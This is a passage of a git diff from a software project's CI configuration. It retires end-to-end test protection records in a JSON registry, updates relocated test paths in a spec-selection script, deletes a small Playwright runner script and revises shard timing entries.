workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Require both existing named browser placement scenarios to pass three times with one attempt, zero skips, zero failures, and no report errors.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 1500, - "scope": "CI job timeout; not a measured p95" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. CI job timeout; not a measured p95" }, "flakeHistory": { - "status": "soaking", - "evidence": "Initial executable discovery matched CLI and desktop and was corrected before any tests ran. Corrected baseline2/2 and repeat6/6 pass." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Initial executable discovery matched CLI and desktop and was corrected before any tests ran. Corrected baseline2/2 and repeat6/6 pass." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Participation unit tests reject missing and retried scenarios; no application mutation proof. On 2026-10-06, the retained behavioral unit command \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts config/scripts/verify-packaged-browser-participation.test.mjs --maxWorkers=2 --reporter=dot\" passed 8 tests locally on macOS in 0.546 seconds. This checks the portable startup/participation verifier only; no new Linux native, packaged, desktop, or hosted qualification is claimed." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Participation unit tests reject missing and retried scenarios; no application mutation proof. On 2026-10-06, the retained behavioral unit command \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts config/scripts/verify-packaged-browser-participation.test.mjs --maxWorkers=2 --reporter=dot\" passed 8 tests locally on macOS in 0.546 seconds. This checks the portable startup/participation verifier only; no new Linux native, packaged, desktop, or hosted qualification is claimed." }, "performanceBudget": { "required": false, - "evidence": "Compatibility assertions, not a performance benchmark." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Compatibility assertions, not a performance benchmark." }, "promotionCriteria": [ "Final workflow JSON report proves all six executions.", @@ -13559,7 +12031,11 @@ "Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope.", "Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope.", "Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed.", - "Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed." + "Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-07\",\n \"runner\": \"ci\",\n \"platform\": \"linux\",\n \"result\": \"passed\",\n \"command\": \"gh run view 34069063016 --log\",\n \"durationSeconds\": 120,\n \"summary\": \"Both unmodified compatibility cases passed three times at 5a99f935 with published1.4.188 and main f7d52160162; retries0. Final workflow34069429156 also passed6/6; its downloaded JSON passed the same participation verifier.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"gh workflow run packaged-browser-e2e.yml\",\n \"pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project=electron-headless --workers=1 --repeat-each=3 --retries=0\",\n \"gh run view 34069063016 --log\",\n \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=2 --reporter=dot\"\n ]\ntestFiles: [\"tests/e2e/packaged-mixed-version-browser-placement.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/packaged-mixed-version-browser-placement.spec.ts\",\n \"assertions\": [\n \"old client and old host lack client-host and browser-tunnel capabilities\",\n \"browser contents remain owned by the server and the expected snapshot marker is readable\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"gh run view 34069063016 --log\",\"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=2 --reporter=dot\"],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"linux\"],\"coveredProviders\":[\"paired-runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Participation unit tests reject missing and retried scenarios; no application mutation proof. On 2026-10-06, the retained behavioral unit command \\\"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts config/scripts/verify-packaged-browser-participation.test.mjs --maxWorkers=2 --reporter=dot\\\" passed 8 tests locally on macOS in 0.546 seconds. This checks the portable startup/participation verifier only; no new Linux native, packaged, desktop, or hosted qualification is claimed.\"},\"flakeHistory\":{\"status\":\"soaking\",\"evidence\":\"Initial executable discovery matched CLI and desktop and was corrected before any tests ran. Corrected baseline2/2 and repeat6/6 pass.\"},\"runtimeBudget\":{\"p95Seconds\":1500,\"scope\":\"CI job timeout; not a measured p95\"},\"performanceBudget\":{\"required\":false,\"evidence\":\"Compatibility assertions, not a performance benchmark.\"}}" ], "demotionRule": "Keep experimental if any direction skips or fails; do not extend timeouts or retry to green." }, @@ -13567,56 +12043,37 @@ "id": "terminal-input.native-wayland-hangul-digit", "title": "Native Wayland Hangul terminating digits reach the PTY exactly once", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-input", "layer": "electron-native-ime-e2e", "surfaces": ["native Hangul composition", "Wayland terminal input"], "platforms": ["linux"], "providers": ["local"], - "coveredPlatforms": ["linux"], - "coveredProviders": ["local"], - "coverageNotes": "Ubuntu 22.04 nested GNOME and IBus Hangul drive three complete native executions in GitHub Actions. GNOME owns IBus; daemon and CLI share its default config discovery path.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Ubuntu 22.04 nested GNOME and IBus Hangul drive three complete native executions in GitHub Actions. GNOME owns IBus; daemon and CLI share its default config discovery path.", "motivatingLinks": ["https://github.com/stablyai/orca/pull/19174"], "invariant": "Typing d k 1 Return through native IBus Hangul delivers exactly 아1 followed by newline without missing, duplicate, or reordered characters.", - "oracle": "Three executions each assert three exact UTF-8 PTY lines. Verify the exact Playwright title, zero skips/retries, each individual native composition receipt, and the nested launch Wayland flag.", - "commands": [ - "gh workflow run terminal-ime-e2e.yml", - "gh run view 34074017928 --log", - "pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/terminal-hangul-terminating-digit-native.spec.ts --project=electron-headful --workers=1 --repeat-each=3 --retries=0 --reporter=list,json" - ], - "testFiles": ["tests/e2e/terminal-hangul-terminating-digit-native.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/terminal-hangul-terminating-digit-native.spec.ts", - "assertions": ["a digit typed right after a Hangul syllable reaches the pty"] - } - ], - "evidenceRuns": [ - { - "date": "2026-09-07", - "runner": "ci", - "platform": "linux", - "command": "gh run view 34074017928 --log", - "result": "passed", - "summary": "Permanent runner passed three native executions, nine exact lines and zero skips/retries. Downloaded participation report and all three engagement receipts verified; compositor cleanup reported no remaining group members. Independent X11 job passed.", - "durationSeconds": 76.61 - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Three executions each assert three exact UTF-8 PTY lines. Verify the exact Playwright title, zero skips/retries, each individual native composition receipt, and the nested launch Wayland flag.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 1500, - "scope": "CI job timeout including installation/build; measured p95 not established" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. CI job timeout including installation/build; measured p95 not established" }, "flakeHistory": { - "status": "soaking", - "evidence": "Earlier diagnostic repetition had one unexplained missing Hangul commit. GNOME-owned diagnostic and corrected permanent runner each passed 3/3. Long-term soak is missing." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Earlier diagnostic repetition had one unexplained missing Hangul commit. GNOME-owned diagnostic and corrected permanent runner each passed 3/3. Long-term soak is missing." }, "redGreenEvidence": { - "status": "partial", - "evidence": "Original exact-byte assertions retained. Permanent startup failed until the GNOME config-discovery mismatch was corrected. No intentional production regression was introduced." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Original exact-byte assertions retained. Permanent startup failed until the GNOME config-discovery mismatch was corrected. No intentional production regression was introduced." }, "performanceBudget": { "required": false, - "evidence": "CI-only harness; no application runtime changes." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. CI-only harness; no application runtime changes." }, "promotionCriteria": [ "Collect 100 soak runs across 14 days with no unexplained flakes.", @@ -13625,7 +12082,11 @@ "knownGaps": [ "Only Hangul terminating digits; no native candidate-selection or other input-method coverage claim.", "No macOS, Windows, SSH terminal, packaged build, or mixed-version claim.", - "Default config paths are shared with GNOME on a disposable hosted CI runner; nested mode refuses non-GitHub-Actions execution." + "Default config paths are shared with GNOME on a disposable hosted CI runner; nested mode refuses non-GitHub-Actions execution.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-07\",\n \"runner\": \"ci\",\n \"platform\": \"linux\",\n \"command\": \"gh run view 34074017928 --log\",\n \"result\": \"passed\",\n \"summary\": \"Permanent runner passed three native executions, nine exact lines and zero skips/retries. Downloaded participation report and all three engagement receipts verified; compositor cleanup reported no remaining group members. Independent X11 job passed.\",\n \"durationSeconds\": 76.61\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"gh workflow run terminal-ime-e2e.yml\",\n \"gh run view 34074017928 --log\",\n \"pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/terminal-hangul-terminating-digit-native.spec.ts --project=electron-headful --workers=1 --repeat-each=3 --retries=0 --reporter=list,json\"\n ]\ntestFiles: [\"tests/e2e/terminal-hangul-terminating-digit-native.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/terminal-hangul-terminating-digit-native.spec.ts\",\n \"assertions\": [\"a digit typed right after a Hangul syllable reaches the pty\"]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"gh workflow run terminal-ime-e2e.yml\",\"gh run view 34074017928 --log\"],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"linux\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"partial\",\"evidence\":\"Original exact-byte assertions retained. Permanent startup failed until the GNOME config-discovery mismatch was corrected. No intentional production regression was introduced.\"},\"flakeHistory\":{\"status\":\"soaking\",\"evidence\":\"Earlier diagnostic repetition had one unexplained missing Hangul commit. GNOME-owned diagnostic and corrected permanent runner each passed 3/3. Long-term soak is missing.\"},\"runtimeBudget\":{\"p95Seconds\":1500,\"scope\":\"CI job timeout including installation/build; measured p95 not established\"},\"performanceBudget\":{\"required\":false,\"evidence\":\"CI-only harness; no application runtime changes.\"}}" ], "demotionRule": "Keep experimental on unexplained failures; retain exact bytes and participation checks without retries, skips, or longer deadlines." }, diff --git a/config/scripts/ci/e2e-selection/ci-e2e-job-selection.mjs b/config/scripts/ci/e2e-selection/ci-e2e-job-selection.mjs index 9b9afbc93ca..76643fc2527 100644 --- a/config/scripts/ci/e2e-selection/ci-e2e-job-selection.mjs +++ b/config/scripts/ci/e2e-selection/ci-e2e-job-selection.mjs @@ -1,23 +1,32 @@ import { pathToFileURL } from 'node:url' export const NODE_NETWORK_E2E_SPEC = - 'tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts' -export const NATIVE_IME_E2E_SPEC = 'tests/e2e/terminal-ibus-hangul-native.spec.ts' + 'tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts' +export const NATIVE_IME_E2E_SPEC = 'tests/e2e/terminal/ime/terminal-ibus-hangul-native.spec.ts' // Needs the packaged orcad slot, which only its own job builds. -export const ORCAD_SERVE_MODE_SWITCH_E2E_SPEC = 'tests/e2e/orcad-serve-mode-switch.spec.ts' +export const ORCAD_SERVE_MODE_SWITCH_E2E_SPEC = + 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts' // Windows-only; its own job runs it on a Windows runner. -export const WINDOWS_MISSING_APPDATA_E2E_SPEC = 'tests/e2e/windows-missing-appdata-startup.spec.ts' +export const WINDOWS_MISSING_APPDATA_E2E_SPEC = + 'tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts' // Windows-only; the same Windows job runs it. -export const WINDOWS_COPY_FILE_E2E_SPEC = 'tests/e2e/file-explorer-copy-file-windows.spec.ts' -// Needs out/orcad, which only the mode-switch job builds; it runs there beside that spec. -export const LAYOUT_ORACLE_HEADLESS_E2E_SPEC = 'tests/e2e/workspace-layout-oracle-headless.spec.ts' +export const WINDOWS_COPY_FILE_E2E_SPEC = + 'tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts' // Managed-SSH specs need the orcad template built by their Docker lane. -export const MANAGED_SSH_E2E_SPEC_PREFIX = 'tests/e2e/ssh-orcad-' +export const MANAGED_SSH_E2E_SPECS = [ + 'tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts', + 'tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts', + 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts', + 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts', + 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts', + 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts', + 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts' +] +const managedSshSpecs = new Set(MANAGED_SSH_E2E_SPECS) export const DEDICATED_E2E_SPECS = [ NODE_NETWORK_E2E_SPEC, NATIVE_IME_E2E_SPEC, ORCAD_SERVE_MODE_SWITCH_E2E_SPEC, - LAYOUT_ORACLE_HEADLESS_E2E_SPEC, WINDOWS_MISSING_APPDATA_E2E_SPEC, WINDOWS_COPY_FILE_E2E_SPEC ] @@ -31,7 +40,7 @@ const OWN_BUILD_E2E_SPECS = new Set([ ]) export function isDedicatedE2eSpec(spec) { - return dedicatedSpecs.has(spec) || spec.startsWith(MANAGED_SSH_E2E_SPEC_PREFIX) + return dedicatedSpecs.has(spec) || managedSshSpecs.has(spec) } export function selectGeneralE2eSpecs(specs) { @@ -58,28 +67,18 @@ export function generalE2eShards(input) { export function selectManagedSshE2eSpecs(input) { if (input === '') { - return [MANAGED_SSH_E2E_SPEC_PREFIX] + return MANAGED_SSH_E2E_SPECS } - const specs = [...new Set(parseSpecs(input))].filter((spec) => - spec.startsWith(MANAGED_SSH_E2E_SPEC_PREFIX) - ) - if ( - specs.length === 0 || - specs.some( - (spec) => - spec !== MANAGED_SSH_E2E_SPEC_PREFIX && - !/^tests\/e2e\/ssh-orcad-[\w-]+\.spec\.ts$/.test(spec) - ) - ) { + const specs = [...new Set(parseSpecs(input))].filter((spec) => managedSshSpecs.has(spec)) + if (specs.length === 0) { throw new Error('Expected at least one managed SSH spec') } - return specs.includes(MANAGED_SSH_E2E_SPEC_PREFIX) ? [MANAGED_SSH_E2E_SPEC_PREFIX] : specs + return specs } export function managedSshShards(input) { try { - const specs = selectManagedSshE2eSpecs(input) - if (!specs.includes(MANAGED_SSH_E2E_SPEC_PREFIX) && specs.length <= 2) { + if (selectManagedSshE2eSpecs(input).length <= 2) { return ['1/1'] } } catch { diff --git a/config/scripts/ci/e2e-selection/run-multi-client-navigation-e2e.mjs b/config/scripts/ci/e2e-selection/run-multi-client-navigation-e2e.mjs deleted file mode 100644 index cf9365f6406..00000000000 --- a/config/scripts/ci/e2e-selection/run-multi-client-navigation-e2e.mjs +++ /dev/null @@ -1,41 +0,0 @@ -import { spawnSync } from 'node:child_process' - -const rawExtraArgs = process.argv.slice(2) -const extraArgs = rawExtraArgs[0] === '--' ? rawExtraArgs.slice(1) : rawExtraArgs -const pnpm = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm' -const env = { - ...process.env, - ORCA_E2E_WEB_CLIENT: '1' -} - -// Why: Node's CVE-2024-27980 hardening rejects .cmd spawns without shell on Windows. -const spawnOptions = { - stdio: 'inherit', - env, - shell: process.platform === 'win32' -} - -const runtime = spawnSync(pnpm, ['run', 'ensure:electron-runtime'], spawnOptions) - -if (runtime.status !== 0) { - process.exit(runtime.status ?? 1) -} - -const result = spawnSync( - pnpm, - [ - 'exec', - 'playwright', - 'test', - 'tests/e2e/multi-client-navigation-isolation.spec.ts', - '--config', - 'tests/playwright.config.ts', - '--project', - 'electron-headless', - '--workers=1', - ...extraArgs - ], - spawnOptions -) - -process.exit(result.status ?? 1) diff --git a/config/scripts/ci/sharding/ci-shard-timings.json b/config/scripts/ci/sharding/ci-shard-timings.json index a4da59b1468..0c46fcb388e 100644 --- a/config/scripts/ci/sharding/ci-shard-timings.json +++ b/config/scripts/ci/sharding/ci-shard-timings.json @@ -4367,46 +4367,35 @@ "tests/e2e/crew-parent-rpc.unit.test.ts": 4853, "tests/e2e/crew-recipient-parent-command.unit.test.ts": 5692, "tests/e2e/crew-recipient-public-command.unit.test.ts": 6715, - "tests/e2e/crew-recipient-real-command.unit.test.ts": 8527, - "tests/e2e/cursor-quota-transport.unit.test.ts": 1863, - "tests/e2e/daemon-running-work-probe.unit.test.ts": 299, - "tests/e2e/github-project-provider-columns.unit.test.ts": 2397, + "tests/e2e/agents/settings/cursor-quota-transport.unit.test.ts": 1863, + "tests/e2e/integrations/github/github-project-provider-columns.unit.test.ts": 2397, "tests/e2e/github-work-item-search-burst.unit.test.ts": 1552, "tests/e2e/global-setup-cli-artifact.unit.test.ts": 58, "tests/e2e/global-teardown.unit.test.ts": 113, "tests/e2e/headless-editor-mirror-identities.unit.test.ts": 1889, "tests/e2e/helpers/client-hosted-browser-fixture.unit.test.ts": 792, - "tests/e2e/helpers/electron-crashpad-cleanup.unit.test.ts": 50, - "tests/e2e/helpers/electron-home-isolation.unit.test.ts": 140, - "tests/e2e/helpers/electron-process-shutdown.unit.test.ts": 6545, + "tests/e2e/desktop/electron-fixtures/electron-home-isolation.unit.test.ts": 140, + "tests/e2e/desktop/electron-fixtures/electron-process-shutdown.unit.test.ts": 6545, "tests/e2e/helpers/golden-source-control.unit.test.ts": 804, - "tests/e2e/helpers/headless-paired-runtime-serve-readiness.unit.test.ts": 53, - "tests/e2e/helpers/paired-client-window-reveal.unit.test.ts": 57, - "tests/e2e/helpers/persisted-profile-state.unit.test.ts": 402, + "tests/e2e/remote/paired-runtime/client-hosts/headless-paired-runtime-serve-readiness.unit.test.ts": 53, + "tests/e2e/desktop/electron-fixtures/persisted-profile-state.unit.test.ts": 402, "tests/e2e/helpers/wsl-terminate-retry.unit.test.ts": 60, "tests/e2e/host-agent-launch-preferences-work.unit.test.ts": 3882, - "tests/e2e/host-cold-park-remote-subscriber.unit.test.ts": 5314, "tests/e2e/launch-agent-background-session-remote.unit.test.ts": 1016, - "tests/e2e/linear-cli-recovery.unit.test.ts": 7592, - "tests/e2e/linear-store.unit.test.ts": 519, - "tests/e2e/linear-write-lifetime.unit.test.ts": 5214, "tests/e2e/multi-workspace-typing-bench.unit.test.ts": 550, "tests/e2e/native-chat-live-history.unit.test.ts": 3258, - "tests/e2e/native-chat-ssh-transcript.unit.test.ts": 1166, - "tests/e2e/orchestration-worker-workspace-resolution.unit.test.ts": 5936, - "tests/e2e/paired-cli-agent-launch.unit.test.ts": 8918, + "tests/e2e/agents/native-chat/native-chat-ssh-transcript.unit.test.ts": 1166, + "tests/e2e/orchestration/orchestration-worker-workspace-resolution.unit.test.ts": 5936, "tests/e2e/persistence-automation-target-dispatch.unit.test.ts": 8084, - "tests/e2e/remote-agent-completion-authority.unit.test.ts": 1742, - "tests/e2e/remote-terminal-input-delivery-model.unit.test.ts": 23690, + "tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts": 1742, "tests/e2e/remote-terminal-tab-retirement.unit.test.ts": 5828, "tests/e2e/restored-terminal-input-readiness.unit.test.ts": 71, "tests/e2e/runtime-agent-background-create-owner.unit.test.ts": 4459, "tests/e2e/runtime-environment-selection-affinity.unit.test.ts": 1177, "tests/e2e/source-control-action-phone-launch.unit.test.ts": 746, - "tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts": 413, - "tests/e2e/structured-agent-session-launch-admission.unit.test.ts": 4762, + "tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts": 413, "tests/e2e/structured-attention-headless-delivery.unit.test.ts": 328, - "tests/e2e/terminal-perf-presentation.unit.test.ts": 60, + "tests/e2e/terminal/performance/terminal-perf-presentation.unit.test.ts": 60, 